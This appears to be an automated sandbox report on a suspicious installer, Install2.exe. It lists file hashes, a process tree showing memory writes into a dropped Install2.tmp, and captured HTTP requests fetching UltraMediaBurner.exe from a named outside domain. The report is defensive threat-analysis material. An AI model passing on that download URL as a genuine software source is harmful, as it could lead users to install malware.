65fa93616cdb8c92a541dd2ad8468d6688e1b1f2606891b56db3e90fbfc9acbd

Target

Install2.exe
Size

497KB
MD5

41a5f4fd1ea7cac4aa94a87aebccfef0
SHA1

0d0abf079413a4c773754bf4fda338dc5b9a8ddc
SHA256

97e95e99fd499ec45a7c1d8683d5731ce5e7a8fb8b710622e578cd169a00d8d9
SHA512

5ca14bda498f26efff4e1179969b8f2c25244063c7bf25f3ec20b5cd24b5be320bbfb8b3d0b2d66f5c5b415da777a766fece5f251a4247773c6cb991417fb75f

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1288	Install2.tmp

Loads dropped DLL 4 IoCs

pid	Process
1656	Install2.exe
1288	Install2.tmp
1288	Install2.tmp
1288	Install2.tmp

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1656 wrote to memory of 1288	1656	Install2.exe	26
PID 1656 wrote to memory of 1288	1656	Install2.exe	26
PID 1656 wrote to memory of 1288	1656	Install2.exe	26
PID 1656 wrote to memory of 1288	1656	Install2.exe	26
PID 1656 wrote to memory of 1288	1656	Install2.exe	26
PID 1656 wrote to memory of 1288	1656	Install2.exe	26
PID 1656 wrote to memory of 1288	1656	Install2.exe	26

C:\Users\Admin\AppData\Local\Temp\Install2.exe
"C:\Users\Admin\AppData\Local\Temp\Install2.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1656
- C:\Users\Admin\AppData\Local\Temp\is-95ABT.tmp\Install2.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-95ABT.tmp\Install2.tmp" /SL5="$400CE,235791,152064,C:\Users\Admin\AppData\Local\Temp\Install2.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1288

Network

DNS

global-sc-ltd.com

Install2.tmp

Remote address:

8.8.8.8:53

Request

global-sc-ltd.com

IN A

Response

global-sc-ltd.com

IN A

99.83.154.118
HEAD

http://global-sc-ltd.com/EbBkqVdkm4Ebeb_EXes_nhQRrZqYVKhyGK8YF2zAUuC3J/C_Blazer_Sha/UltraMediaBurner.exe

Install2.tmp

Remote address:

99.83.154.118:80

Request

HEAD /EbBkqVdkm4Ebeb_EXes_nhQRrZqYVKhyGK8YF2zAUuC3J/C_Blazer_Sha/UltraMediaBurner.exe HTTP/1.1
Accept: */*
User-Agent: InnoDownloadPlugin/1.5
Host: global-sc-ltd.com
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache
GET

http://global-sc-ltd.com/EbBkqVdkm4Ebeb_EXes_nhQRrZqYVKhyGK8YF2zAUuC3J/C_Blazer_Sha/UltraMediaBurner.exe

Install2.tmp

Remote address:

99.83.154.118:80

Request

GET /EbBkqVdkm4Ebeb_EXes_nhQRrZqYVKhyGK8YF2zAUuC3J/C_Blazer_Sha/UltraMediaBurner.exe HTTP/1.1
Accept: */*
User-Agent: InnoDownloadPlugin/1.5
Host: global-sc-ltd.com
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 06 Jul 2021 17:56:48 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Vary: Accept-Encoding
Vary: Accept-Encoding
X-Language: english
Accept-CH: viewport-width
Accept-CH: dpr
Accept-CH: device-memory
Accept-CH: rtt
Accept-CH: downlink
Accept-CH: ect
Accept-CH: ua
Accept-CH: ua-full-version
Accept-CH: ua-platform
Accept-CH: ua-platform-version
Accept-CH: ua-arch
Accept-CH: ua-model
Accept-CH: ua-mobile
Accept-CH-Lifetime: 30
X-Template: tpl_MobileCleanBlack15_twoclick
X-Buckets: bucket054
X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_WTJkXfqRiTI5FbebkwjmtoRuSUIip4ljADLbHm1B94oze1DVcNb73yylU6ZBUXysesPpkJhTZke8ML9B2I6U3A==

99.83.154.118:80

http://global-sc-ltd.com/EbBkqVdkm4Ebeb_EXes_nhQRrZqYVKhyGK8YF2zAUuC3J/C_Blazer_Sha/UltraMediaBurner.exe

http

Install2.tmp

424 B
92 B
4
2

HTTP Request

HEAD http://global-sc-ltd.com/EbBkqVdkm4Ebeb_EXes_nhQRrZqYVKhyGK8YF2zAUuC3J/C_Blazer_Sha/UltraMediaBurner.exe
99.83.154.118:80

http://global-sc-ltd.com/EbBkqVdkm4Ebeb_EXes_nhQRrZqYVKhyGK8YF2zAUuC3J/C_Blazer_Sha/UltraMediaBurner.exe

http

Install2.tmp

676 B
12.8kB
10
12

HTTP Request

GET http://global-sc-ltd.com/EbBkqVdkm4Ebeb_EXes_nhQRrZqYVKhyGK8YF2zAUuC3J/C_Blazer_Sha/UltraMediaBurner.exe

HTTP Response

200

8.8.8.8:53

global-sc-ltd.com

dns

Install2.tmp

63 B
79 B
1
1

DNS Request

global-sc-ltd.com

DNS Response

99.83.154.118

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1288-70-0x0000000000240000-0x0000000000241000-memory.dmp

Filesize
4KB

Download
memory/1656-61-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1656-60-0x0000000074F31000-0x0000000074F33000-memory.dmp

Filesize
8KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

HTTP Request

HTTP Request

HTTP Response

DNS Request

DNS Response

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.